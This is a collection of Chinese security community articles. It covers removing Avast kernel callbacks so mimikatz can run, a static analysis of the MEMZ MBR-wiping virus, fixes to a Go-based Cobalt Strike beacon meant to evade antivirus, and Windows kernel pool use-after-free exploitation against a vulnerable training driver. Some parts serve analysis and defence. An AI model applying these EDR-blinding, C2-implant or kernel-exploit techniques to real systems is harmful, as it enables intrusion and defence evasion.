fffff800`1dd13f10 00000000`00000000 00000000`00000000
运行mimikatz会使Avast采取行动，如预期的那样：
加载我们的程序，会有如下输出：
[+] Windows Version 1909 Found
[+] Device object handle obtained: 0000000000000084
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff800204a1720 [aswbuniv.sys + 0x1720]
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80020af25ac [aswSP.sys + 0x325ac]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]
[+] fffff80021836ed0 [aswArPot.sys + 0x6ed0]
谷歌搜索向我们显示aswArPot.sys，aswSP.sys和aswbuniv.sys是Avast驱动程序，因此我们现在至少知道对于进程通知，这些驱动程序可能阻止了我们的恶意程序。
我们使用我们的小程序卸载它们：
PS C:\Dev\CheekyBlinder\x64\Release> .\CheekyBlinder.exe /delprocess fffff800204a1720
[+] Windows Version 1909 Found
[+] Removing process creation callback: FFFFF800204A1720
[+] Device object handle obtained: 0000000000000084
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff800204a1720 [aswbuniv.sys + 0x1720]
Removing callback to FFFFF800204A1720 at address FFFFF8001DD13EC8
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80020af25ac [aswSP.sys + 0x325ac]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]
[+] fffff80021836ed0 [aswArPot.sys + 0x6ed0]
我们对其余两个驱动程序重复此步骤，并确认这些驱动程序不再在回调列表中列出：
[+] Windows Version 1909 Found
[+] Device object handle obtained: 00000000000000A4
[+] PsSetCreateProcessNotifyRoutine address: FFFFF8001DF616B0
[+] Kernel base address: FFFFF8001D80E000
[+] PspCreateProcessNotifyRoutine: FFFFF8001DD13EA0
[+] Enumerating process creation callbacks
[+] fffff8001d92f690 [ntoskrnl.exe + 0x121690]
[+] fffff8001ebf7220 [cng.sys + 0x7220]
[+] fffff8001e75b420 [ksecdd.sys + 0x1b420]
[+] fffff8001fcfd9f0 [tcpip.sys + 0x1d9f0]
[+] fffff800203dd930 [iorate.sys + 0xd930]
[+] fffff80021aa9ec0 [vm3dmp.sys + 0x9ec0]
[+] fffff8001eb854d0 [CI.dll + 0x754d0]
[+] fffff80021276aa0 [dxgkrnl.sys + 0x6aa0]
[+] fffff800236e3cf0 [peauth.sys + 0x43cf0]
Windbg视图（注意先前列出了回调例程的为止目前被置零）：
lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0 ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0 ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0 ffffdb83`6068a1df 00000000`00000000
fffff800`1dd13ed0 ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0 00000000`00000000 ffffdb83`5df0237f
fffff800`1dd13ef0 ffffdb83`6322dc2f 00000000`00000000
fffff800`1dd13f00 00000000`00000000 00000000`00000000
fffff800`1dd13f10 00000000`00000000 00000000`00000000
现在我们可以不受限制地运行Mimikatz了：
## 监测和防御
就检测和预防而言，我认为蓝队会容易一些，但对于EDR来说可能并非如此。对于EDR供应商而言，难以跟踪到每一个受到攻击的签名驱动进行拉黑，并且无法解决0day漏洞的攻击。但尽管如此也应该采取一些防护措施来应对这一类攻击。
对于蓝队，监视服务创建和 **PspCreateProcessNotifyRoutine:**
特权的使用将会给你更多防范此类攻击的手段。其他一些建议是，不应该经常安装新的驱动，最好仅更新和维护，以及通过特权帐户安装驱动程序。从管理帐户进一步限制此特权也可能是一条值得探索的途径，该特权保留给专用的软件/硬件维护帐户，该帐户在不使用时会受到严格监控并被禁用。
## TODO
还有更多功能要实现。 我计划很快添加对其他回调例程的支持，以及可能添加恢复以前删除的回调的方法。 要可靠地找到
**PspCreateProcessNotifyRoutine** 数组，并检查是否可能失败，还需要做更多的工作，因为这会导致蓝屏死机。
最后，最好使用已知的蓝队工具（例如Sysmon）在企业环境中检测该活动的一些指标，以检测该活动。
### 实现代码
CheekyBlinder已在[这里](https://github.com/br-sn/CheekyBlinder "这里")发布。
请负责任地使用，该代码可能导致BSOD。目前仅支持Win 1909和2004。 | 社区文章 |
# 样本信息
彩虹猫病毒是一个基本的恶搞病毒，没有采取隐藏或者免杀等技术，适合新手分析。该病毒会修改MBR主引导扇区，以此来破坏电脑的正常启动，属于MBR病毒。在修改MBR后，电脑蓝屏，Windows无法启动，一直播放一个彩虹猫的画面。
# 运行样本
双击加载病毒，会出现这样的2个提示框，告知你这是一个恶搞程序，是否要运行，
点击确认过后弹出记事本程序。
之后会出现：
* 6个MEMZ进程
* 多个浏览器窗口
* 鼠标不受控制
* 窗口颜色发生变化
* 弹出很多图标
* ...
任意关掉一个MEMZ进程，或者关闭计算机，系统就会崩溃蓝屏，重启电脑之后，会发现无法登陆系统，一只彩虹猫随着音乐在那儿跳。这说明MBR已经被修改，无法引导操作系统的启动。
# 静态分析
首先使用PEID和ExeInfoPE对样本进行查壳，查壳结果如下：
PEID查出有ASProtect壳，但是拖入ida似乎是没壳的，很奇怪。
StudyPE+查看导入表
导入函数中我们需要注意如下API函数：
功能 | dll | API
---|---|---
改变窗口 | GDI32 | bitblt、stretchblt
调用外部程序 | SHELL32 | ShellExecute
播放音乐 | WINMM | PlaySoundA
鼠标失控 | USER32 | SetCursorPos、GetCursorPos
建立消息循环 | USER32 | GetMessage、TranslateMessage、DispatchMessage
设置消息钩子 | USER32 | SetWindowHookEx、UnhookWindowHookEx、CallNextHookEx
进程提权 | ADVAPI32 | OpenprocessToken、LookupPrivilegeValue、AdjustTokenPrivileges
遍历进程 | KERNEL32 | CreateToolhelp32Snapshot、Process32First、Process32Next
将样本载入ida，整体上看`start()`函数，函数大体上是由两个if判断组成。
`start()`函数大体上可以分成三个部分：启动部分、watchdog部分、main部分。
## 启动部分
在最开始，程序先获取窗口长、宽和命令行参数。
由于我们第一次双击样本时自然是不带参数的，于是程序流跳转到下面两个弹窗的if判断部分。
如果用户在这两个提示窗口都点击了确认，系统则会分配局部内存对象;
以" **/watch2dog** "为参数创建 **5** 个名为 **MEMZ** 的进程。
之后以" **/main** "为参数再生成一个 **MEMZ** 的进程。
到这里，样本创建了6个MEMZ的进程。
然后`SetPriorityClass`函数把main进程的优先级设置为最高。
最后，用`ExitProcess`函数结束自己的进程。至此，启动部分结束。
## watchdog部分
首先判断是否为”/watchdog“为参数的MEMZ进程，如果不是，创建线程，注册窗口并进行消息循环
启动阶段创建的5个以“/watchdog”为参数的MEMZ进程。这5个进程一共应该创建了5个线程。我们进入sub_40114A看看这个线程具体干了些什么事。
### sub_40114A
首先`LocalAlloc`在堆中分配空间用来存路径字符串，然后`GetCurrentProcess`获取当前进程句柄，然后`GetProcessImageFileNameA`获取进程路径。
然后一个while死循环，其中大概可以分为两个部分：
`CreateToolhelp32Snapshot`拍摄进程快照，再用`Process32FirstW`和`Process32NextW`进行遍历。do-while循环统计MEMZ进程的数量，将其存入v4变量。而sleep函数的存在也使得while死循环每隔一段时间统计当前MEMZ进程的个数并存放在v4变量中。
v4存放当前遍历到的MEMZ进程数量，而v7存放上一次遍历到的MEMZ的进程的数量，一旦V4的值小于v7，代表如果我们关闭了一个MEMZ进程，那么就会被if检测语句检测到，执行sub_401021函数内容。结合之前运行病毒我们可以推测sub_401021就是蓝屏关机。
### sub_401021
这个函数就有意思了，
do-while循环20次创建了20个线程，每次sleep0.1秒；而紧接着`RtlAdjustPrivilege`提权过后`NtRaiseHardError`制造系统蓝屏；
之后`OpenProcessToken`获取进程token，`AdjustTokenPrivilege`利用得到的进程token提权过后`ExitWindowsEx`强制注销系统。
#### StartAddress
线程函数指针`StartAddress`点不开，我们直接查看汇编代码如下：
`SetWindowsHookEx`和`UnhookWindowsHookEx`用于给窗口下钩子，回调函数`fn`中看具体操作。
code=等于3代表着窗口即将被创建，lParam表示该窗口的基本信息，创建窗口之前修改当前窗口的这些信息用于随机修改窗口的位置。
有26条消息保存在lpText所指向的地址中。使用`sub_401A55`获取随机数，`ds:dword_402AD0`存放的值为0x1A，随机数对0x1A取余，结果存放在edx寄存器，以实现在26条消息中随机选取一条`MessageBoxA`弹出显示。
至此我们确认了sub_40114A函数的作用，正如我们上面的猜想，sub_40114A函数确实制造了蓝屏关机，先创建20个线程弹出大量位置和内容都随机的窗口，再蓝屏、强制关机。
### sub_401000
sub_401000是个回调函数。16和22分别对应窗口消息`WM_CLOSE`和`WM_ENDSESSION`，而`WM_CLOSE`或`WM_ENDSESSION`消息是在系统关机时，由操作系统发送给各个窗口。
如果是`WM_CLOSE`和`WM_ENDSESSION`，则调用sub_401021函数蓝屏强制关机，如果是其他消息，丢给系统默认处理函数`DefWindowProcW`。
`sub_401021`这个强制关机函数在两处被调用。第一个是监测watchdog参数的MEMZ进程数量，如有减少就调用。第二个是监测用户是否主动关机，如果主动关机也调用此函数。这和我们运行阶段看到的一致。
## main部分
main部分大致也可细分为两个部分：覆盖MBR部分和10个线程部分。
我们先来看看下面的10个线程部分：
### 10个线程部分
此处的do-while循环以v8为计数器循环十次，调用`CreateThread`创建线程，创建10个线程。参数v9被赋予初始值off_405130，每次循环自增2。
off_405130
off_405130内容如下：
稍微修改一下，显示为下图这样：
结合上面的代码，容易看出，此处数据是个结构体组成的数组，数组元素有10个，结构体大致如下：
struct FuncAddrDelay {
DWORD pFuncAddr;
DWORD dwTimeDelay;
}
j结合代码，我们知道`CreateThread`创建了10个进程，每次创建有一定的延迟时间，延迟时间和进程的函数地址组成一个结构体，共10组放在一个大数组off_405130里。
然后sub_401A2B依次调用这10个函数。10个函数每个的返回值被保存在v1，每次循环都会在if语句中判断v1自减1后是否为0，其实返回值就是决定循环的次数，以及这10个函数的激活时间。这10个函数中，有的需要一个固定的激活时间，有的需要一个随机的激活时间，只需要控制返回值即v1就可以了。
这10个函数就是打开浏览器，鼠标失控，弹窗，弹图标等等操作。下面我们来单独看看：
#### 线程1：
**运行浏览器软件，随机打开网站浏览，运行任务管理器，注册表管理器，计算器等**
#### 线程2：
**鼠标位置失控**
#### 线程3
**插入键盘事件，对键盘进行监控**
#### 线程4
**病毒运行的过程中发出声音**
#### 线程5
**改变屏幕显示复制桌面界面**
此次`BitBlt`的作用就是对桌面像素进行位块转换。
#### 线程6
**弹出“Still using this computer?”的MessageBox**
#### 线程7
**在鼠标位置绘制图标**
#### 线程8
**枚举子窗口，将子窗口变形**
#### 线程9
**界面大小改变，桌面变形**
#### 线程10
**改变桌面颜色**
### 覆盖MBR部分
该部分是病毒的核心部分，硬盘最开头的512字节就是MBR部分。MBR里的代码进行各种初始化工作，然后加载才操作系统。而该病毒覆盖MBR（Master
Boot Record）主引导区，写入播放循环彩虹猫视频的代码，导致Windows系统无法启动。
先来看看覆盖MBR部分：
首先`CreateFileA`以读写权限打开文件PhysicalDrive0即主硬盘文件，再在堆中写入恶意代码，然后通过`WriteFile`将堆中的恶意代码写到PhysicalDrive0主硬盘文件。然后用`LocalAlloc`以0为初始值分配一段内存空间，拷贝两段恶意代码数据到分配的内存空间。
第一段`byte_402118`大小304字节覆盖部分MBR（或者初始化恶意代码？），第二段开始于510字节处，`byte_402248`大小1952字节，推测是覆盖MBR后播放的那段彩虹猫的数据。（不太清楚为什么中间跳过了206字节？）。
然后作者创建了个note.txt文件，在其中写了段话，并用notepad.exe打开note.txt文件。
静态分析大概就这些内容。 | 社区文章 |
# 从零开始开发CS beacon（三）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 netbios加解密
因为我也才学golang，基本面向github编程，在网上只找到[python版加解密](https://gist.github.com/dtmsecurity/16728513bb92fe7bdec532be426ef17a)的方式，所以需要翻译成go语言。通过正则匹配加密传输的内容，解密执行获取cmdtype对应的操作，然后加密发送。
编写加密代码：
func NetbiosEncode(data []byte) string{
q := ""
for _,value := range data{
q += string((int(value)>>4) + int('a'))+string((int(value)&0xf + int('a')))
}
return q
}
最终成功上线如下，能够看见心跳包与执行命令都是正常的，说明加解密是没问题的：
## 0x02 项目优化
因为上线后，显示如下，开始我以为是CS显示问题，后来发现是代码实现问题：
computer 与 prcoess 都不能正确获取，我们定位到sysinfo文件夹下meta.go文件，其中实现了收集beacon所在机器基本信息。
### BUG-1：获取进程名
func GetProcessName() string {
processName := os.Args[0]
//fmt.Printf("processName: %v\n", processName)
// C:\Users\admin\Desktop\cmd.exe
// ./cmd
slashPos := strings.LastIndex(processName, "\\")
if slashPos > 0 {
return processName[slashPos+1:]
}
backslashPos := strings.LastIndex(processName, "/")
if backslashPos > 0 {
return processName[backslashPos+1:]
}
return "unknown"
}
这里原作者想到的是，带路径的执行参数，但是经过我测试，os.Args[0]获取到的就是当前exe名称，并不是一个绝对路径，如果是绝对路径可以通过下面判断截取EXE名。这里修改也简单，直接return
processName就正常了。
### BUG-2：获取机器名
func GetComputerName() string {
sHostName, _ := os.Hostname()
fmt.Printf("sHostName: %v\n", sHostName)
// message too long for RSA public key size
if len(sHostName) > 10 {
sHostName = sHostName[1 : 10-1]
}
if runtime.GOOS == "linux" {
sHostName = sHostName + " (Linux)"
} else if runtime.GOOS == "darwin" {
sHostName = sHostName + " (Darwin)"
}
return sHostName
}
这里机器名不能全部显示，确实跟他注释的原因一样，但是经过我测试发现，最长可以使用sHostName[0 : 14]切片。
### BUG-3: 不能下载大的文件
当使用download 下载命令时，小文件可以下载，但是略微大的文件会出现如下报错：
经过多次调试实验发现，以下语句有问题（我这里通过BP抓包发现的）：
fileBuf := make([]byte, 512*1024)
他默认一次传输512kb数据，可是在header中如果数据过长会提示:`BAD REQUEST: header length is too large`
所以这里很简单，我们就一次传小点，比如2kb。重新编译就上线：
## 0x03 总结
到这里，整个CS
beacon适用自定义profile的开发流程就介绍完毕了，优化了原程序BUG，当然还有其他很多可以优化的地方。这个项目Geacon只实现了最基本功能，不像原生beacon那么多样，你就可以使用golang实现某些CS功能，比如execute-assembly，判断cmdtype就行。因为我的需求是CS跨平台的beacon，容易免杀（golang也有一些免杀的trick），后面还可以添加反调试的功能。项目地址:<https://github.com/Nan3r/geacon_apt> | 社区文章 |
# 【技术分享】Windows内核池漏洞利用技术
|
##### 译文声明
本文是翻译文章，文章来源：samdb.xyz
原文地址：<https://samdb.xyz/windows-kernel-exploitation-part-4/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
本文将介绍如何利用[HackSys Team Extremely Vulnerable
Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)中的释放后重用和池溢出问题。为此我们需要对Windows内核内存管理有所了解。因此，本文将涵盖以下内容：
1\. Windows内核内存分配概述
2\. Windows内核池风水演练
3\. 利用HackSys Team Extremely Vulnerable Driver的释放后重用
4\. 通过两种不同的方法利用HackSys Team Extremely Vulnerable Driver的池溢出
本文专注于windows 7 sp1（32位）。
**Windows内核池**
了解内存管理的基础知识有所帮助，如果你不曾了解虚拟内存和分页，那么有必要快速阅读以下内容：
1\. [内存程序剖析](http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/)
2\. [内核如何管理你的内存](http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory/)
Windows内核使用两种动态大小的“池”来分配系统内存，这些内核等同于用户模式下的堆。我只介绍理解利用方法原理所需的详情，更多信息请查看：
1. [Windows 7 内核池利用](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)，作者：Tarjei Mandt
2\. 《Windows Internals》第7版第1部分第5章或《Windows Internals》第6版第2部分第10章——内存管理
3\. [Windows驱动程序的内存管理](https://msdn.microsoft.com/en-us/library/windows/hardware/ff554389\(v=vs.85\).aspx)
Windows中有两种关键类型的池——非分页池和分页池。还有特殊池（我将在介绍释放后重用利用方法时介绍）和win32k使用的会话池（本文不作介绍）。
**分页池对比非分页池**
非分页池由保证总是存储在物理内存中的内存组成，而分页池中分配的内存可以被分页。这是必需的，因为某些内核结构需要在高于可满足缺页中断的[IRQL](https://blogs.technet.microsoft.com/askperf/2008/01/22/what-is-irql-and-why-is-it-important/)可访问。有关IRQL的更多详细信息以及各级别支持的操作，请参阅“[管理硬件优先级](https://msdn.microsoft.com/en-us/library/windows/hardware/ff554368\(v=vs.85\).aspx)”。
这意味着非分页池用于存储进程、线程、信号量等关键控制结构。而分页池用于存储文件映射、对象句柄等。分页池实际上由几个单独的池组成，而在Windows
7中，只有一个非分页池。
为了分配池内存，驱动程序和内核通常使用ExAllocatePoolWithTag函数，其定义如下：
PoolType参数包含一个POOL_TYPE枚举中的值。这定义了正在请求什么类型的池内存，我们将主要看到其用0调用，这对应于非分页池。
第二个参数是所需的池内存的字节数，最后的PoolTag参数是一个32位值，其被完全视为用于标记内存用途的4个字符，这在调试时非常方便，并且也被大量内核内存instrumentation使用——跟踪使用某个标签进行了多少分配，当内存分配到某个标签时中断，等等。
为了释放分配的池内存，通常使用[ExFreePoolWithTag](https://msdn.microsoft.com/en-us/library/windows/hardware/ff544593\(v=vs.85\).aspx)函数。
这只需要一个指向有效池分配的指针，池元数据将给予所有其他所需的东西，在标准条件下，提供的池标签将不会被验证。但是，启用正确的调试设置后，标签将被验证，如果其不匹配，则会触发一个BSOD。现在我们来看看这些函数的工作原理。
**分配内存**
反编译器 ExAllocatePoolWithTag 乍看之下很吓人。
还好，Tarjei Mandt已经在其[论文](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)中将函数转化为伪代码，这可以作为一个很好的指导。我将使用他的伪代码和IDA中的一些检查等，并通过windbg来解释函数的工作原理。他的解释可能更好、更准确，本节中的所有代码片段都来自其论文。
首先，函数检查请求的字节数是否超过4080字节，如果是，则调用Big Pool 分配器。
此处，esi包含请求的字节数，如果高于0xff0，则转到nt!ExpAllocateBigPool。否则采取true分支，处理继续。
在这一点上，[esp+48h+var_20]持有末尾为1的PoolType。所以如果该值等于0，则其是一个非分页池，跳过上面的if语句并转到随即显示的else，同时，如果类型是用于分页池内存，则采取true分支。
在true分支上，其检查池类型是否用于会话池。
其随后立即检查请求的字节数是否高于32。
同时，在false分支上，其还检查分配是否高于32字节。
如果任一检查通过，逻辑会有点麻烦，更多详情可见[Tarjei的论文](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)。该函数将尝试通过在相关池的Lookaside列表中找到一个条目来分配请求的块。Lookaside列表是每个池的每处理器结构，对它的引用存储在[内核处理器控制块](http://www.codemachine.com/article_kernelstruct.html#KPCR)中。Lookaside列表由通常请求的内存大小的单链表组成，对于一般池内存，这是频繁进行的小分配。使用Lookaside列表可以使这些频繁的分配更快地进行。对于非常频繁进行的固定大小的分配，存在其他更具体的lookaside列表。
如果两个大小检查均未通过，或者从lookaside列表分配内存失败，则分页池描述符被锁定，这与用于非分页池的结构相同，并且以相同的方式使用，所以我稍后将对此进行描述。
现在我们有了请求的分配是非分页池类型时运行的代码，此处我们在上面的loc_518175处采取了false分支。
接下来，代码将检查请求的块大小是小于还是等于32字节，如下所示。如上所述，如果分配足够小，其将尝试使用lookaside列表，如果成功则返回true。
如果lookaside列表不能使用或请求的块大小大于32字节，则非分页池描述符将被锁定。首先将获取非分页池描述符的指针，如果有超过1个的非分页池，将进行查找。
首先，将根据可用的非分页池数量和“本地节点”（论文解释了这一点，但出于性能原因，多核系统中的每个处理器都可以有首选本地内存）来计算ExpNonPagedPoolDescriptor表中的索引：
此处eax最终持有所选索引。然后从表中读取引用：
这与分页池的逻辑相同，计算索引然后获得引用：
此时，分页和非分页分配的代码路径已达到同一点。分配器将检查页面描述符是否被锁定，如果没有锁定则获取锁定。
现在描述符结构实际上包含什么？还好，其包含在Windows 7的公共符号中。
我们刚刚看到，(Non)PagedLock字段在函数明确获取描述符锁定之前被检查。PoolType是自解释的，PoolIndex字段指示可以在内核导出的ExpPagedPoolDescriptor或ExpNonPagedPoolDescriptors表中找到哪些条目。我们真正关心的其他字段是PendingFrees
和PendingFreeDepth（在下一节中解释），以及我们需要现在看一看的ListHeads。
ListHeads是8个字节倍数到大分配的空闲内存块列表。每个条目包括一个LIST_ENTRY结构，其是相同大小的块的链表的一部分。列表由请求的块大小+
8（以给POOL_HEADER留出空间，稍后描述）索引，除以8以获得字节数。分配器将从所需的确切大小的条目开始通览列表，查找要使用的有效块，如果不能精确匹配，则其查找更大的条目并将其拆分。伪代码如下：
因篇幅限制，此处我们有所删减，不过我们可以更详细地介绍函数实际上成功找到正确大小的内存块时会发生什么。分配器进行的分配是请求的数量+8字节，以给之前提到的POOL_HEADER留出空间。该结构包含在Windows
7的公共符号中，如下所示：
PreviousSize字段是内存中先前分配的大小，这是在释放分配以检查损坏时使用的。如前所述，PoolIndex字段可用于查找分配的POOL_DESCRIPTOR。BlockSize是包括header在内的分配的总大小，最后，PoolType是来自分配的POOL_TYPE枚举的值，如果块不空闲，则为2。PoolTag是自解释的。
最后，如果函数在已分配的内存页中找不到分配空间，则其将调用MiAllocatePoolPages，以创建更多，并返回新内存中的地址。
如下所示：
**
**
**释放内存**
这一次我只提供了一些关于[Tarjei Mandt](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf)的反转代码的评论，我不知道程序集片段有多大用处，希望我的补充有作用。这只包括与漏洞利用有关的组件，所有代码和细节请参阅原论文。
块大小应等于下一个池对象头中的上一个大小字段，如果不是，则内存已损坏，BugCheck被触发。当覆盖这个结构时，我们需要确保用正确的值覆盖块大小，否则会蓝屏。
然后检查分页池类型，我跳过了会话部分。
如果启用了延迟释放，则查看等待列表是否有>= 32个条目，如果有，则全部释放，并将当前条目添加到列表中。
我们只查看允许DefferedFree的系统，所以我将跳过旧的合并逻辑。ExDeferredFreePool中的逻辑相当直观，函数定义如下。
其接收一个指向POOL_DESCRIPTOR的指针，该指针先前被ExFreePoolWithTag锁定。然后其循环通过PendingFrees，并释放每个条目。如果上一个或下一个条目被释放，则其将与当前被释放的块合并。
**Windows内核池风水**
为了执行内核池风水，我们需要在正确类型的池中分配对象，及哪些是对我们有用的大小。我们知道，关键的内核数据结构（如信号量）存储在非分页池（也因所有基于池的挑战而被HackSys驱动程序使用）中。要开始，我们需要找出一些在非分页池中分配的内核结构及其大小。实现此目标的简单方法是分配一些控件对象，然后使用内核调试器来查看相应的池分配。我使用以下代码来做到这一点。
编译并运行此代码得到如下输出，然后敲击回车键后，我们附带的内核调试器应该中断。
使用调试器，我们可以找到每个结构驻留在内存中的位置以及为其分配了多少内存。在windbg中，可以输入!handle命令来获取对象的详细信息。此处我正在检索Reserve对象的详细信息。
一旦我们知道对象地址，我们就可以使用!pool命令查找其池详细信息。作为其第二个参数解析2意味着其只显示我们感兴趣的确切分配，删除2将显示内存页内的周围分配。
这里我们可以看到，Reserve对象被分配了一个'IoCo'标签，占用了60个字节。为其他对象重复此过程得到以下结果。
知道对象大小将在稍后我们需要确保确定大小的目标对象被可靠地分配内存空间中时有用。现在我们尝试使用Event对象进行池修饰，这些对象为我们提供了一个空闲和分配的0x40字节池块的模式。
因为分配器开始在空闲页上分配内存之前通过查找空闲块为对象分配内存，因此我们需要先填充现有的0x40字节空闲块。
比如下面的代码将分配五个事件对象。
现在，如果我们构建这个代码并使用附带的内核调试器来运行它，我们可以看到五个事件对象的句柄。
检查windbg中的最后两个句柄发现，其没有被分配到彼此接近之处。
进一步查看分配了倒数第二个Event对象的页面的池信息后发现，其刚好被放置在两个随机对象之间的第一个可用间隙中。
但是，如果我们将DEFRAG_EVENT_COUNT增加到更大的数，结果大不相同。
再次运行它并查看最后的五个句柄。
检查windbg中的句柄可以看到，其被连续分配在内存中。
检查分配有两个Event对象的页面的池布局可以发现，一长串Event对象被连续分配。内存分配器的确定性表明，如果我们分配足够的Event对象，这最终总会发生。
现在我们要在受控大小的地址空间中创建“孔”。此时我们知道，分配的任何更多事件对象将大部分被连续分配，所以，通过分配大量对象，然后间隔释放，我们应该得到一个空闲和分配对象的模式。
我将以下代码添加到了上面的示例（循环打印最后五个句柄的位置）中。
运行后，我们得到一个示例句柄，该句柄从一个模糊随机索引打印到其余句柄中。
检查windbg中的句柄后可以找到其在内存中的地址。
知道分配地址后，我们可以再次查看其分配的页的池布局。此处我们可以看到，我们已经成功地创建了一个空闲和分配的事件对象的模式。
对于我们无法找到相同大小的相应内核对象的对象/分配，我们可以使用分割大小的对象的多个副本，或尝试更精细的东西。
HackSysTeam极其脆弱的驱动程序释放后重用利用
内存在释放后被使用时存在释放后重用(UAF)漏洞。通过查找代码执行此操作的地方，可能可以用其他内容替换释放的内存。那么当引用内存并且代码认为一个结构/对象在那里时，另一个是。通过在可用内存中放置正确的新数据，可以获得代码执行。
**漏洞**
正如我刚才所解释的，为了利用UAF，我们需要以下几点：
1\. 一种创建对象的方式
2\. 一种释放对象的方式
3\. 一种替换其的方法
4\. 一种导致替换对象作为原始对象被引用的方式
和以前一样，简要看一下IDA中的驱动程序表明了我们的所有需求，我将从第1、2及4点开始，因为这些让我们开发了一个崩溃PoC。首先，我们需要一种使用驱动程序在内核内存中创建一个对象的方法，查看IOCTL分派函数给我们呈现了一个通过记录以下字符串进行的函数调用：******
HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT ******。这看似正是我们所寻找的。
查看函数本身后可以看到在非分页池上分配了0x58字节的内存。
如果此分配成功，则其继续将值加载到内存中，并在全局变量中保存对其的引用。
在1处，函数将所有分配的内存设置为用“0x41”字节填充。然后将0字节加载到内存的最后一个字节。在3处加载到对象的前四个字节的函数指针是一个记录其被调用的简单函数。
最后在4处，驱动程序在名为P的全局变量中保存指向内存的指针。
现在我们可以创建对象，我们需要一种方法来释放它。记录****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
******之后的IOCTL分派函数中的函数调用可能是一个很好的调用。
查看函数本身可以看到，其不需要任何输入，而是在我们查看的最后一个函数存储的引用之上操作。
一旦被调用，函数在1处检查在create函数中引用的全局指针“P”是否为空，然后在2处继续在其上调用ExFreePoolWithTag。
到我们的第三个需求——一种使驱动程序以某种方式引用释放的对象的方法，****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
******似乎可以做到这一点。
查看函数后可知，其尝试通过create函数调用加载到UAF对象的前四个字节的函数指针。
在1处，其确保P包含指向对象的指针，且不是空指针。然后其将前四个字节的内存加载到eax中，并在2处确保其不是空字节。如果这两个检查都成功，则在3处进行回调。
敲定所需的IOCTL代码为我们提供了我们需要的三种IOCTL代码。
**
**
**编写崩溃PoC**
为了可靠地检测是否已发生UAF，我使用了一些Windows内核池调试功能。在这种情况下，使用以下命令启用HackSysExtremeVulnerableDriver的[专用池](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/special-pool)。
如果这成功运行，我们应会看到以下输出。
当启用了特殊池的二进制程序调用ExAllocatePoolWithTag函数时，其将使用ExAllocatePoolWithTagSpecialPool函数来分配内存，而不是遵循其标准逻辑。如下所示。
ExFreePoolWithTag函数具有匹配的逻辑。特殊池作为由单独的内存页支持的文字分离内存池工作。特殊池有一些不同的选项。默认情况下，其处于验证结束模式，简言之，这意味着由驱动程序所作的所有分配被放置在尽可能靠近内存页末尾处，后续和之前页面被标记为不可访问。这意味着，如果驱动程序尝试在分配结束后访问内存，将会触发错误。此外，页面上未使用的内存用特殊模式标记，因此如果这些内存损坏，则该内存释放后可检测到错误。
此外，特殊池将标记其释放的内存，并尽可能长时间地避免重新分配该内存。如果释放的内存被引用，其将触发错误。这会对驱动程序产生巨大的性能影响，因此其只在调试内存问题时启用。
在特殊池为启用状态下，我们可以为此漏洞创建一个简单的崩溃概念证明。下面的代码将创建UAF对象、释放该对象，然后导致其被引用。如果驱动程序引用释放的内存，这应该因特殊池调试功能而触发蓝屏。
现在编译并运行，然后…
使用附带的内核调试器重新启动系统，重新启用特殊池并重新运行PoC，这样我们可以确认崩溃是否由被引用的释放的内存引起。
!analyze
-v输出立即告诉我们，崩溃可能是由被引用的释放的内存引起的，进一步查看分析输出可知，崩溃指令是之前在调用UAF对象回调函数的IOCTL中看到的push
[eax]指令。
检查驱动程序尝试再次访问的内存地址的池详细信息后确认，内存可能之前已被释放。
**
**
**将其转化为利用方法**
